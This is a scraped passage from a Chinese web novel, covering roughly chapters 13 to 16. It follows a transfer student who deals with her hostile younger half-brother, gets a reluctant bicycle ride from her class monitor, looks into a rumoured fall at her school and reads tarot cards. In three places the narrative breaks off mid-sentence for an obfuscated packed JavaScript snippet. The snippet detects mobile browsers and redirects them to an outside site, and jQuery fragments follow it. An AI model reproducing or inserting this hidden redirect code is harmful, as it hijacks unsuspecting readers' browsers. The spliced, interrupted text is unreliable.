黎明达三步并作两步,逼近纪之水,一张和她有四五分相似的脸在她面前放大,流露出一种很愚蠢的表情。
像一只挤眉弄眼的劣质玩偶一样,黎明达朝她瞪眼。
纪之水忍耐力很强。但只有这一点让她难以忍受。黎明达用和她相似的脸,做出这辈子根本不可能出现在她脸上的表情,这简直是一场精神上的霸凌和折磨。
纪之水嘴角向下瞥。
黎明达在逼问,但除开他的表情带来的攻击性,苍白的语言和徒劳的大喊大叫显得毫无威慑力。
他今年初二,身量已经开始拔高,站在纪之水面前长长一条,并不讨喜。黎明达三天打鱼两天晒网的锻炼收效甚微,局促的肌肉量跟不上发育速度,又挡在纪之水面前不肯让步,她只好脸色漠然地略过了他。
黎明达还在发问,接过纪之水手上的包,继续跟在她身后喋喋不休:“你们学校门口的那班公交车六点半停运,你是怎么回来的?为什么这么晚才回家?”
纪之水把黎明达当成了空气。她解开围巾,脱下外套,往卧室走。黎明达一路尾随,脸色越来越难看,脚步却很执着。
眼见纪之水压下卧室门把手时都没有理会他的意思,黎明达大叫:“纪之水你为什么不理我!?”
砰——
门在黎明达面前重重合上,震得房子都好像抖了一抖。
.
对于讨厌的人,纪之水一般会选择远离。
比如黎明达,这个比她小了不少的异母弟弟正值青春期,将头发染成了一种需要教导主任用肉眼和生理常识仔细辨别判断的棕,性格恶劣,行事鲁莽。
第一次见面,黎明达就向她释放了毫不掩饰的威慑恶意:“你就是我爸在乡下的那个女儿啊?真是百闻不如一见。”
纪之水无意对抗,那样太蠢了。
她选择把黎明达当做空气,甚至没掀起眼皮给他一个眼神。
此话一出,饭桌上好不容易从零度勉强加热到不让茶水结冰的氛围刹那间被打回原形。黎明达不但挨了黎兴学飞来的眼刀,还挨了唐恬一个毫不留情的清脆耳光。
纪之水笑了,这是她来到金城的第一个笑容,献给了一团招笑的空气。
但对讨厌的人,现在有了另外一种可能性。
比如顾天倾。
纪之水对顾天倾的讨厌程度很难说比黎明达要轻,只是顾天倾的智力显然要更高,他比黎明达更懂得如何才能烦扰她。两人原本在纪之水这儿是一个待遇。
然而,在今晚即将回绝顾天倾带她出校门的那个时刻,纪之水倏忽意识到自己犯了错——
顾天倾分明是个很好的观察对象。她不应该轻易放弃摆在眼前的机会。
金城高中疑似发生的坠楼案的优先级目前在她心里位列第一,熟悉并了解金城高中的诸多异象暂居第二,至于讨厌顾天倾这件事情,在对比之下就显得无关紧要了,可以被她往后一稍再稍。
她开始反思。
刚刚转学时,纪之水一视同仁地观察包括顾天倾在内的所有人。复盘往日,促使她发生改变的节点是她意识到顾天倾靠她靠得太近了——这种“近”不是距离上的,而是……
“近”是一种更加模糊的形容。
这一切具体表现为,面对面交谈时,顾天倾似乎想要看清她。
纪之水以为,被人全心全意注视是很恐怖的。而顾天倾是个智力略微超过蠢货的聪明人,他还有着旺盛的好奇心,是一颗蹦蹦跳跳朝她跑过来的不定时炸弹。
一开始,顾天倾像是新入学时会遇到每一个班长,友善地在第一个课间主动和她打招呼:“你好,纪之水同学,我叫顾天倾,是高三A班的班长,欢迎你加入我们这个集体!如果学习生活中有什么问题,你可以随时来找我。”
官方而合理的一段发言。
纪之水彼时尚能应对,用面无表情的冷落以不变应万变。
不回应对方主动抛来的橄榄枝是一种示威,像黎明达那样。纪之水未尝没有和异母的弟弟有相同的意思。她身体力行地表示:她不需要新同学们展示友好。
梅陆露给她打过预防针。
高中生们就是这样,准确的说,处于初高中阶段的这群人就是这样,你既不能把他们当成年人看,也不能把他们当成小孩。
他们比成年人更容易点燃,又比孩子更有洞察力,每个都是一团混沌而看不清面貌的云团。
即便如此,顾天倾依旧没翻脸。
他甚至更多地向她展现出了不必要的友善。
虽然纪之水隐约觉得这个皮相亮眼的男生笑容有些不达眼底,但此时,她将一切看作一套新生入学的必备流程。
.
刚搬到这间临时布置的卧室的电脑有些旧了,启动缓慢。纪之水等待电脑开机时,黎明达在外面砰砰砰敲门,一会儿就没了动静。
他坚持的时间比往常要短。纪之水以为这是一个好兆头,终有一天没耐心的蠢货会放弃打扰她的。
屏幕右下角跳出弹窗,恭喜她超过了百分之90%的用户,纪之水撇了撇嘴,冷酷地叉掉那个页面。
直觉告诉纪之水,顾天倾是一个很恐怖的人,所以她慌张地跑开。但现在,理智又来了,纪之水以为顾天倾知道的不一定比刘瑞平少。
靠近陈芊,靠近刘瑞平……这些事,纪之水自以为自己做得都不赖。
纪之水得意地想,她还靠着围巾顺理成章地约定了和陈芊的第二次会面。
希望一个晚上过去,四人小团体可以给出一些有趣的消息。
企鹅图标缓慢地跳跃。纪之水检索了班级群消息,数量寥寥,内容无非是询问某天晚上的科目作业。
周中,大家都表现得很收敛,在互联网上的谈性也不高。高三A班的走读生两只手数的过来,群里长期活跃的头像却远远超过两位数。显而易见,很多人携带了校规明令禁止的违禁品。
纪之水被穆若婷拉进班级群的第一天,就向整个班级群里的所有人都发送了好友申请。同意速度有快有慢,纪之水根据同意时间陆续访问了所有人的空间。
动漫角色、自拍、不知所云的一段文艺文案……
转发的娱乐消息……
一块漂亮的小蛋糕……
[金城一枝花:呵呵……没有某人的校园真是显得无比清静,求某人永不回校教程。[鄙视][鄙视][鄙视]]
鼠标顿住。
日期显示是在三天之前。
纪之水的瞳孔扩大。这条博文收获了十来个点赞,还有几条评论。
[点了。]
[接]
[啊铁铁真的有这么恨吗?]
金城一枝花回复:[装什么啊铁铁这种人你不恨吗我请问呢...]
“金城一枝花”虽然没有提某人的大名,但显然很多人都知道他/她是谁。
纪之水对这个“YouKnowWho”很感兴趣。她点进金城一枝花的主页,却没有发现更多有关消息,只是一味地被各种成年女性和成年男性的美照刷屏。
她意识到眼前的俊男美女们可能是一枝花口中的“担”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862747|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
加好友时,金城一枝花没有留下她的大名。纪之水只能确定她是金城高中在读的学生。
这个对企鹅好友来者不拒的小女孩儿并不警惕陌生人发送的好友申请,加上之后只拽拽地向纪之水发送了一个叼烟的表情包,附赠一条文字消息。
[推xx雷xx,拒同担,拒梦女。会互赞,不点赞博文的一律删除,禁止连赞。]
纪之水回忆起这条消息,给小黄花点了个赞,留下自己来过的印记。
她翻出从重默本上撕下来的纸条,根据姓名一一在“你可能认识的人”中对比检索。
电脑发出提示音,一条消息弹了出来。
[顾天倾:你到家了吗?]
纪之水下意识叉掉了聊天框。
……手快了。
她现在不应该再躲着顾天倾走,事实证明他真的很有用,且知无不言言无不尽。纪之水又点开了聊天框,新的两条消息跃入眼帘。
[顾天倾:踩了一路自行车,没有功劳也有苦劳。]
[顾天倾:看在我多少出了点力的份上,不要不回消息啊纪同学。]
纪之水原本要回。看完消息手指却悬在了键盘上,现在回像是对顾天倾自以为是的发言的默认一样……真的让人很不爽。
[想太多。]
[我到了。]
纪之水冷冷按下回车键。
.
坐公交车回家通常得花费纪之水半个钟头,还不包括等车的时间,有时候不凑巧,她要在站牌底下等上很久。由于突如其来的夜间活动,纪之水今天抵达公交车站时,公交车业已停运。
顾天倾送她到站点,问:“你要怎么回去?”
她没斥责顾天倾的多管闲事,平淡地回答:“坐公交车。”
纪之水表现得像是不知道车已经停发了。她把顾天倾刚才借给她的过期出门证递还,道了谢。
金城高中的出门证一学年一换,之前的证件不销毁,门卫查的不严的时候,是为数不多可钻的空子。
正如顾天倾所说,值班保安年纪大了,视力不佳,夜间根本看不清出门证上的字。两人出校门很顺利。
“公交车已经停了。”顾天倾把标志牌上显眼的运行时间指给她看。纪之水草草看了一眼,漆黑的双瞳中浮现出微末的惊讶:“啊。完全没想到。”
顾天倾又问:“有人能来接你吗?”
纪之水不答。
看她的表情,顾天倾叹了口气。
有点难办。
他低头看了眼表,原本就没抱多大希望,还是解释了一句:“金城高中位置很偏,这个点也没有出租车会来。如果能有人接——”
“啊……”纪之水更加惊讶了,“连出租车也没有吗。那该怎么办呢。”
“你家住在哪?”顾天倾顺口问。
纪之水报了小区名。
顾天倾问得自然,纪之水居然也答得流畅。
答案不打磕绊地送到眼前的时候,顾天倾少见地感到了一丝震惊。这样的震惊比那天回到教室打开放在他桌面上的一封来自纪之水的警告信更加强烈。
他开始怀疑起这个地址的真实性。
是杜撰的小区吗?
还是某个坟场的代指?
纪之水图穷匕见:“还好有班长在,不然真的不知道怎么办了。送我回家吧,班长。”
她咬紧“班长”这两个字,若有似无地微笑起来。
顾天倾一度以为这是个陷进,也许行至某条小巷,纪之水就会勾连校外人员将他打晕卖掉。
毕竟纪之水一直对他表现得很抗拒,主动说出家庭地址这件事放在她身上几乎显得匪夷所思。
但最终,纪之水还是坐上了他的自行车后座。
金城的夜风像刮在脸上的刀子,半个小时的一问一答后,这阵风终于把他的大脑刮清醒了些。
正如纪之水讨厌他一样,顾天倾也不喜欢纪之水。
14. 第 14 章
讨厌纪之水是一件很正常的事吧?
不过,顾天倾对纪之水也说不上讨厌,顶多只是不喜欢而已。身边的大部分人,顾天倾都不喜欢。
转学第一天,在早读后的课间被李茂领进来的那个转校生就显得那么奇怪。
她站在讲台上,自我介绍简短而苍白:“我是纪之水。”
纪之水的脸上没有笑容,不显局促,打量整间教室时的姿态也缺乏一种舒展的大方,似乎还带着防备。
顾天倾当时想,比起一个活生生的、面对陌生环境和陌生面孔会紧张的普通女孩,她看上去更像是一具木偶。
可以去恐怖片拍摄现场客串的那种。
纪之水平淡地念完台词,目光毫不停顿地扫过在场所有人——包括他。
底下很安静。
不是因为李茂在场的收敛,也不是早读刚过的昏昏欲睡,顾天倾知道。
有不少人在转校生进门时就已经瞪大了眼睛。他们似乎对这段没什么意义的发言很感兴趣,每个人都是一副认真倾听的姿态。
有时,安静比吵闹更容易让困倦的高中生睁开眼。纪之水的自我介绍结束时,大概教室里的每个人都清醒了个彻底。
肤浅。
他们流露出的惊艳,不过是因为纪之水有一张漂亮的脸。
这种肤浅的表现,顾天倾直面过无数次了。
冬天,不太有余地花枝招展的季节,纪之水穿得也简洁,似乎无意以着装一鸣惊人。她的新校服应当还没到,通身上下是黑色系常服,没有多余的装饰,反而更突出了五官精致的冲击力。她的目光从他脸上扫过去,一秒也没多停。
赵藏锋的嘀咕声几乎和他的声音同步响起。
“哇,很漂亮啊。”
顾天倾则是冷漠地抱怨:“好烦人啊。”
赵藏锋没听清,转过头看他:“啊你说什么?”
顾天倾却不答了。
纪之水也转过头看李茂。
她的自我介绍持续了十秒钟就没了下文,李茂还以为中间的停顿代表着酝酿,纪之水无声的催促却好像在说老师你想多了。
李茂清了清喉咙,眼神抓住了台下的顾天倾,将烫手山芋塞了过去:“那个班长——诶,顾天倾啊。这位是新同学,你也看到了,作为班长,这两天要好好帮助新同学融入集体。”
顾天倾站起来说好,笑容一点也不出错。李茂最近迟到早退,自习课看班时心不在焉,顾天倾只能说转校生没赶上好时候。
不然李茂应该挺乐意亲力亲为地照顾新人——这个在高三莫名其妙地转了学的怪胎。
李茂把转校生的位置排在他正前方第二个座位。这对转校生来说当然很方便,只要站起来朝后面喊一声就能抓住班长合情合理地拜托他当牛做马……毕竟是班长的职责所在。
他心里觉得更烦了,脸上却还在笑。
转校生刚入座,上课铃就响了起来。李茂的身影消失在窗边,和任课老师擦肩。顾天倾收回视线,转校生已经坐在了一张被匆忙收拾干净的空桌前。
穆若婷偏头和转校生交谈,短发在颊边一晃。顾天倾看到她在笑,俩人不知道在聊什么。
一下课,顾天倾站在了纪之水面前。
“你好,纪之水同学……”
他做了一段比她情绪丰沛许多的自我介绍,得到的反应很微妙。
这只是必要的流程而已。每逢月考A班总会有新人进来,任课老师通常和他们原班级有出入,人员变化比较大的情况下他会召集所有人开个临时短会,交代完所有任课老师的办公室位置和有必要提及的规章。
顾天倾对一套已经足够娴熟。
但显然出师不利。
纪之水几乎是迫不及待地在他喘口气的空隙中打断了他:“好的,班长。”
刻意营造的沉默是再明显不过的逐客令。
顾天倾在这一瞬间几乎笑了,他是什么洪水猛兽么?
几天之后,顾天倾收到了一封警告信。
说是信也不是,体育课结束,顾天倾一眼看到了一张折叠在他桌面的A4白纸,打开一看只有两行字。他的一番好心好意换来的是毫不留情的痛斥:你知不知道自己笑起来很假很恶心?别再对我笑了,也别多管闲事。
当时的心情,顾天倾记忆犹新。
他花了零秒猜出这封信是谁送来的。
还能有谁?
顾天倾下意识往前看。
隔了一个人,前面纪之水的座位是空着的。
明明没过几天,她的领域内已经出现了乱糟糟的趋势:崭新的课本和练习册随意堆叠,课桌内隐约可见花里胡哨的包装,不知道是什么,顾天倾没多看。
——倒也不是说位置空着就算纪之水欲盖弥彰了。
纪之水转学后,除了被新同学们堵住问东问西的第一个课间,多数时候都不见踪影。她只会踩着上课铃声比任课老师先一步抵达教室。
其实也不用猜。
整个金城高中数最讨厌他的十个人,纪之水必定榜上有名。
她光想着打印机可以掩盖字迹,却不考虑金城高中能碰打印机的只有那么几个走读生么?
此时此刻,在冬夜的寒风了踩着自行车的顾天倾情不自禁地开始反省,是什么让一切走到了今天的地步……
如果在警告信之后,他能稍微收敛一点儿,那么他至少不会这个点在迎着寒风踩自行车,还要面对纪之水一长串的拷问。
说到底还是他犯贱。
纪之水讨厌他,他却非要凑上去看看真假,顺便身体力行地刺探一番,这股毫无缘由的讨厌能有多深。
有多深也不知道。
然而好奇心害死猫,现在到了他付出代价的时刻。
纪之水说完,仿佛料定他不会拒载,理直气壮地等着他想出个妥帖的办法送她回家。顾天倾确实想不出拒绝她的理由。
他只是不喜欢她,又不是反社会人格的神经病,怎么可能把她一个人丢在公交车站不管。
顾天倾没辙了。他让她在公交车站坐着等一会儿,他去推车,纪之水却
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862748|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉默地跟上,在他背后踩着他的影子。
一前一后,这回掉了个个儿。顾天倾倒不反对纪之水走到前面来,但她没有那个意思。
“为什么跟上来?”
“怕你不守信用。”
顾天倾说才怪。她是古怪的窥探欲又发作了,想知道他住在哪儿吧?
他往学校对面的那个居民小区里走。到了单元门前,纪之水脚步停住了,站在路灯下等他。
顾天倾半被道义强迫着要送她回家,装也不装了,闷头往车库里走。
里头停着一辆自行车和一辆摩托——顾天倾没骑过几回。年纪还没到,考不了驾驶证,上了大路被交警一抓一个准。送纪之水回家只能靠前者出力。
纪之水没对眼前稍显简陋的交通工具发表什么看法。
反正出力的不是她。
坐在那辆自行车上,纪之水扯着顾天倾的衣服下摆,有一搭没一搭地问:“你认不认识林嘉慧?”
这是个有点陌生的女孩名。顾天倾在记忆里转了一圈,没想出来。
“不认识。”
“噢。”纪之水反应平平,“那褚东呢?他是一个怎么样的人?”
“六班的地理课代表,前几天体育课打篮球把腿摔断了……”顾天倾不知道她从哪儿打听来这么些人,“你问这个干什么?”
纪之水扯他衣服下摆:“褚东是一个怎么样的人?”
“好了别扯我衣服……”
纪之水手劲还不小。
他没法一面蹬自行车一面和纪之水进行外套拔河,只得道:“我和他不熟啊,只一起打过球。地理成绩应该还不错吧,他好像拿过单科第一,但偏科比较严重……”
也不知道从哪个字眼开始,纪之水对褚东的兴趣断崖式下降。
顾天倾没有回头,只当纪之水还在听,说了几句便有些词穷。他绞尽脑汁回忆了半天,又被纪之水扯了下摆。
“够了。”纪之水有点儿嫌他啰嗦,“说说寇准。”
“寇准?”顾天倾重复了一遍那个名字。
纪之水在这样的重复里感受到了让她在意的迟疑。她善于捕捉一闪而过的情绪,听出顾天倾的语气无端有些发冷:“他不是什么好人。”
“你和他关系不好?”她直白地问。
“没有。只是客观陈述。”
顾天倾叫她离寇准远一点,纪之水反而更感兴趣了。
寇准。
这似乎是她第一次接触这个名字……又好像不是,纪之水回忆半晌,并没有抓住一闪而过的灵光。
她撑着下巴,漫不经心地滑动鼠标,黑漆漆的指甲戳着脸。
小黄花首页的线索暂时中断。纪之水又在“可能想认识的人”里翻阅。
依旧没什么收获。
她有心想看看今天记下来的还有哪些人,伸手去够挂在门边的包,摸了个空。
纪之水倏忽转过头,落地挂衣架上空空荡荡。她猛地拉开卧室门,客厅灯亮着,黎明达听到动静转过脸,手中赫然夹着她的本子。
15. 第 15 章
这很不妙。
不妙之处并非因为黎明达手里价值堪堪两位数的帆布包里藏着什么见不得人的东西,而在于,沙发上坐着的那个初中生,烦人程度愈发逼近纪之水忍耐的界限。
“东西给我。”纪之水站在黎明达面前,摊开手。
黎明达并不理会,只把包紧紧抱在怀里,掀起眼皮警惕地望向她:“不给!”
生怕她上手抢似的。
不过是几张卷子和作业本,给他也就给他了。
纪之水在心里冷笑:黎明达抱着高中作业能有什么用?
凭借他洗碗海绵一般贫瘠的智力,和数学题面面相觑半分钟就该打哈欠。
那张从重默本上撕下来的纸被她随手夹进练习册里,有几个人名记不太清。能拿回来最好,要是为此还得和他打一架,多少有点儿不值当,还不如再去一趟办公室呢。
纪之水预感到自己即将成为英语办公室的常客。再去抄一遍,不费什么功夫。
想到这儿,纪之水退了半步,一副无所谓的样子:“你要留着也行,帮我把作业写了。”
没料到她会是这种反应,黎明达一愣,“帮你写?凭什么!”
纪之水想把包拿走,黎明达不肯。让他留着,他也不乐意。纪之水反问:“你说为什么。”
还不是他霸占着不放。
“你疯了?我才上初中,怎么看得懂你们高中的题?”
纪之水双手抱胸,往空荡荡的茶几上一坐,掀起眼皮道:“你不懂?不是说乡下来的姐姐连小学生题目都看得费劲,还不如你么?”
这是黎明达的原话。
为了刺痛她,这些贬低的话黎明达没少说。纪之水挑挑拣拣回敬他几句,黎明达气得脸青一阵红一阵。
“谁稀罕你的作业,自己写去。我要问你的是这个!”他忽然来劲了,从包里掏出一样东西。
那是一个黑色的盒子,其貌不扬。黎明达很是得意,为了让纪之水看清,特意高高举起一只手臂,将盒子悬在纪之水面前,明知故问道,“这是什么?”
纪之水瞥了一眼。
那是她随身带着的塔罗牌。
“显而易见。”纪之水确信金城网络发达,信息流通,学生从小学就开始接触网络信息课,“塔罗牌。城里人不认得这个?”
盒子上面还有烫金的英语花字。除非黎明达英语差到看不懂盒子上的英文。
“你!”
她说话带刺,偏偏表情波澜不惊,说出的话比起讥讽更像是陈述事实,讽刺感反而更重。黎明达听了差点又炸开。
也不知道怎么回事,他这样的蠢货也有智商占领高地的时刻。黎明达忍了又忍,将矛头对准了纪之水。
“你天天就带这个去学校?”黎明达晃着那副塔罗牌,阴阳怪气地说,“心思一点儿都不花在学习上。”
“你妈妈拉下脸求我爹,好不容易把你从山沟沟的乡下送到金城最好的学校,你却不学习,一天到晚就顾着摆弄你的小玩意儿?”
“喂,哑巴了?怎么不说话?”
黎明达把纪之水脸上流露出的一点惊奇当成了害怕。她情绪太淡了,唐恬往他脸上甩巴掌那天纪之水应当幸灾乐祸到了极点,黎明达捂着半边脸忍气时,抬头也不过看到纪之水微微掀起一点儿嘴角。
他以为自己抓住了她的把柄,眼睛里闪烁着看好戏的光芒。
“你要告状?”纪之水问。
和谁?
借住在黎兴学——她生物意义上的父亲家里的这段时间,纪之水基本摸清了两位成年人的日常行动轨迹。
黎兴学工作忙碌,或许是因为多年不见的父女情谊作祟,先前他忙里抽空,亲力亲为地陪她解决完入学事宜。此后,纪之水和他见面的次数屈指可数。
黎兴学不怎么着家。黎明达想要抓住他告上一状,怕是得凭点运气。
至于唐恬……到这个点儿家里还没看到她的人,纪之水估摸着她人还在牌桌上。
纪之水站起来伸手一够,动作快得黎明达根本来不及看清。他只觉得眼前一花,再一回神,塔罗牌已经落进纪之水手里。
黎明达瞠目结舌。
纪之水这么……灵活吗?
纪之水拆开盒子,塔罗牌背面,纯黑的底纹上浮动着烫银的花样,在灯光下微微发亮。
黎明学不自觉地盯住她的动作,像旁观一场魔术表演。
“告状也得见得到人。”纪之水洗完牌,伸手一拉,在茶几上呈半圆弧展开,“你猜是黎兴学先回来还是你妈妈先到家?”
她抬了下下巴,示意黎明达抽牌。
比起写高中作业,塔罗牌显然要有意思的多。
黎明达嘴上说不喜欢这些娘们唧唧的东西,眼看着小扇般展开的塔罗牌,还是忍不住伸出手向牌堆摸去。
“什么‘黎兴学’……有你这么直呼爸大名的吗?真是没礼貌。不过不用想,肯定爸先回来。”他抽出一张牌,刚掀起一个角,又压回桌面,怀疑地说,“你这东西能准吗。”
至于为什么是爸先回来——黎明达很清楚告状的事情找他妈是没用的。
黎明达深切地盼望着老父亲能够早点回家,亲眼看到他这位自小在山沟沟里长大的、纯洁如小白花一般的养女的真实面目!
黎兴学结了五次婚,加上他,子女有三个。但凡离了婚,钱和孩子都会一起跟着妈走。黎兴学对这一点表现得尤为坦荡,他声称既然结婚是因为相爱,那么不爱的时候婚姻必然走向终结。
所以即便他自诩“不世的经商天才”,将钱、公司和孩子留给前妻们之后顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862749|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
利五度东山再起,生意也仅仅是在金城这片儿地界打转。
唐恬素来不管黎兴学前头几个孩子的事,俩人真要掐起来,黎明达估摸着唐恬只会叫他忍忍。
眼看着黎兴学和唐恬最近都不着家,一个声称生意场上的事情忙不过来,一个喊着牌桌上缺了她无法运转,黎明达想起他爸的五本结婚证和四本离婚证,脑袋开始转了。
黎明达思忖着这段婚姻是不是也该走向终结。还没等他试探母亲,唐恬就用几个白眼将他扫地出门,“要你在那想东想西的?反正不会短了你的钱用。”
他是因为钱才瞎想的么?!
黎明达将塔罗牌抽出来,想起父母间岌岌可危的婚姻,脸上透出几分索然。
“你猜吧,我抽的是什么?”他随口问。
“……土鳖。”居然能从纪之水嘴里听到除了“蠢货”之外的新词,黎明达新奇地抬起了头。纪之水以命令的口吻吩咐他,“把牌翻过来。”
牌面反转。
一具人身俯卧地面,伸手向前探去,数把银色宝剑血淋淋地扎透了他的身躯。倾覆的暴雨之下,隐约可见他苍白的侧脸。
黎明达贴着牌的手像是被烫了一下,迅速收回。他觉得自己的脸有些发僵。纪之水的食指按着牌面,指甲修剪圆润,像一粒黑色的杏仁,戳在银色宝剑上。
她专注地望着塔罗牌,没有看他,嘴边隐隐约约咧开一点笑意。这笑容看得黎明达浑身发冷。
“这是什么意思?”他木然地张开嘴,随之而来的是怀疑。
假的吧?
虽然黎明达对塔罗牌这种东西全然没有了解,然而光看画面,也能闻弦歌而知雅意。牌面上被数把宝剑扎出无数个窟窿眼儿的画他还能看不明白?
黎明达以为这其中定然有纪之水捣鬼,中气十足地质问:“你这一副牌里不会都是这种鬼里鬼气、乱七八糟的烂牌吧?这是正经塔罗牌吗?”
他不信邪,没给纪之水时间反应,又唰唰抽了两张,扔在桌面。
纪之水再度俯身看牌。
她伸出一只手,饶有兴致地点着牌面,念给黎明达听:“死神,高塔。”
“……什么?”
“简而言之,”纪之水举起那张黎明达避之不及的宝剑十怼到他面前,只差毫厘就要贴上他的鼻尖。但纪之水爱干净,毫厘之差的界限始终没有打破。纪之水手指稳稳当当地夹着牌,好心解惑,“你要倒霉了,弟弟。”
如同魔鬼的低语。
纪之水重新回到了卧室。这回带上了她的包。没来得及被发现的名单自然重新回到了她手里。
电脑屏幕因为长时间没有动作熄灭,房内唯一的光源是书桌上的那盏小灯。纪之水缩在懒人椅里,毛毯盖到腰间,借着暖黄的灯光出神地看着纸上的名字。
16. 第 16 章
洗衣机在阳台嗡鸣。
今晚,唐恬果然没有回家。黎兴学也一样。
黎兴学家购入的洗衣机是金城本地品牌,纪之水跟着说明书逐项调整按键,但愿它的羊绒洗模式值得信赖。
洗衣机运转完毕,发出滴滴的提示音。她取出了那条被烘得馨香干燥的羊绒围巾,垂眸检查围巾是否变形。
踢踢踏踏趿拉着拖鞋的脚步声穿过客厅,中间停顿了片刻,最终离她越来越近。
除了黎明达也不会有别人了。纪之水既不想理会,又明白同在一个屋檐下毫无办法,黎明达是那种对外来者十分抗拒的家猫,即便所有人都知道她只是借住,威胁不到这位唯一“太子”的地位,他还是缺乏安全感的、持续不断地朝她哈气。
她干脆想搬出去住算了,但现在,黎兴学是她名义上的监护人。取得他的同意又需要费一番口舌,而她现下是个高中生,在房东眼里约等于需要照料的未成年,租房需要家长出面。
“喂。”黎明达叫她。
他刚洗完澡,吹干头发,那头每日都要精心打理的头发毫无造型可言,臊眉搭眼地往她跟前一站,倒显得不是太让人讨厌。
纪之水捧着围巾,被黎明达挡住了去路。
“做什么?”
她不可避免地瞅了眼他的表情:一副受打击的可怜相。纪之水不耐烦了,她以为黎明达还在为塔罗牌的事纠结,总不至于还要她来哄。
那是不可能的。
都上初中了,玩个塔罗牌至于被吓成孙子么?
黎明达支支吾吾:“你大晚上不睡觉蹲在这儿洗围巾……”
纪之水打断他的废话,“说重点。”
“哦……重点。”黎明达说,“重点是爸妈今天晚上都没回来。”
“你跟我说这个?”
纪之水心想:这还不如问围巾呢。
她一边将洗净烘干的羊绒围巾叠好,一边快步从黎明达身边绕了过去。
黎明达站在阳台边,看着她的背影。纪之水穿着一身宽大的黑色珊瑚绒睡袍,漆黑的长直发几乎和睡袍融为一体,从背后看,完全就是一片飘着的黑色影子。
她浑身上下唯一的颜色,是黑色睡袍上连着的帽子,顶端带着两只红色的恶魔犄角,被棉花充得饱满圆胖,一点儿也不像恶魔。
她要真是一片能随时从这个家里飘走的影子就好了。
黎明达跟着纪之水走了几步,心下很是不满,突然喊:“你根本就不该来金城!”
纪之水停下脚步,回头望了他一眼。
这一眼没有什么情绪,黎明达碰上她的目光,心里却是惊了一下。他确实对纪之水心怀怨愤。
可有太多瞬间,他总是有怒发不出。
“你爸爸妈妈不回家是因为我么?”纪之水的声音那样冷酷,毫不留情地戳破了他没有说出口的想法。她仿佛连同和他说句话的功夫都欠奉,一张苍白瘦削的脸上布满事不关己的漠然,“想他们就自己打电话,你的小天才电话手表没电了?”
她不欲多说,没等黎明达答话,就拐进走廊。
关上卧室门,纪之水把围巾放进包里,理好第二天上学要带的东西。
晚间十点,纪之水准时入眠。
.
晚自习结束铃声响起之前,罗吉的心思已然不在试卷上。
仰赖于高中一成不变的作息安排,有时候不用看钟表,身体甚至会自动感知到时间的轨迹,记住每个重要的节点。
快放学了。罗吉搁下笔,转动眼珠,盯住手腕腕表的表盘,倒数:
三。
二。
一。
叮铃铃——
刘瑞平一手揣着保温杯,拍上他的肩膀,“走吗?”
“走。”罗吉点头。
借着后门的地理优势,俩人几乎是头两个冲出教室的。吴羽拎起包,撇了撇嘴:“不知道在急什么……”
陈芊道:“他俩不就这样么。”
两人将要走,吴羽的目光落在陈芊空荡荡的脖颈:“外面风大……你围巾呢?落宿舍了?”
陈芊含糊道:“没有。”
圣母心爆发,出借了。
人群像是涌动的潮水,陈芊和吴羽手挽着手,被潮水裹挟着送进女生宿舍楼,在楼梯口道了别。因为学号隔得远,她们没被分到一个宿舍,加上一些运气原因,分给七班的几个宿舍甚至分布在上下两层。
不得不分开了。
陈芊看着吴羽上了楼,才转头往宿舍走。她在回宿舍的路上走得不疾不徐,回来得也就迟了,推门时正好撞见舍友在聊天。
“……校门口的那个丑雕塑被洗得都能发光了,有这个功夫干什么不好,金城高中能不能多修两个女厕所啊!”
“嗨呀。没听说么?过两天金城电视台要来拍宣传片,学校不得好好装点装点门面,把雕塑都拉出来洗了。”
“学校有再多钱,宁愿重新建个气派的大门也不愿意修修那个裂开的操场跑道,别指望了……”
“芊芊,你回来啦?”舍友一抬头,瞧见陈芊,自然而然地将她拉进话题里,“你说嘛,学校这么干是不是没事找事?”
“就是,好端端的,洗那个雕塑做什么。”陈芊随口应了声,打开储物柜,取出洗漱工具,顺口问,“电视台怎么又来?”
“呵呵,这两年,金城电视台来我们学校可比去景区还要勤快!”
等洗漱完,围在一起说话的几个女生又换了新话题,陈芊没有细听。
十点半准时熄灯。
或许是白天消耗了太多精力,吴羽只觉得困倦来得比往日要迅疾。她打了个哈欠,没睡,从枕头下摸出手机。
入目是十几条未读消息。
点开四人群聊,第一条是刘瑞平发来的语音。
“特大消息!我和罗吉翻到了教导处的请假条存根!”
.
凌晨五点的闹钟响起时,窗外还是漆黑一片。透过一半敞开的窗帘,窗外的天空甚至隐约可以看见零星的星星,月亮瓷白而冷清。
纪之水开了床头小灯,去卫生间洗漱。
房间大约是助理之流准备的。
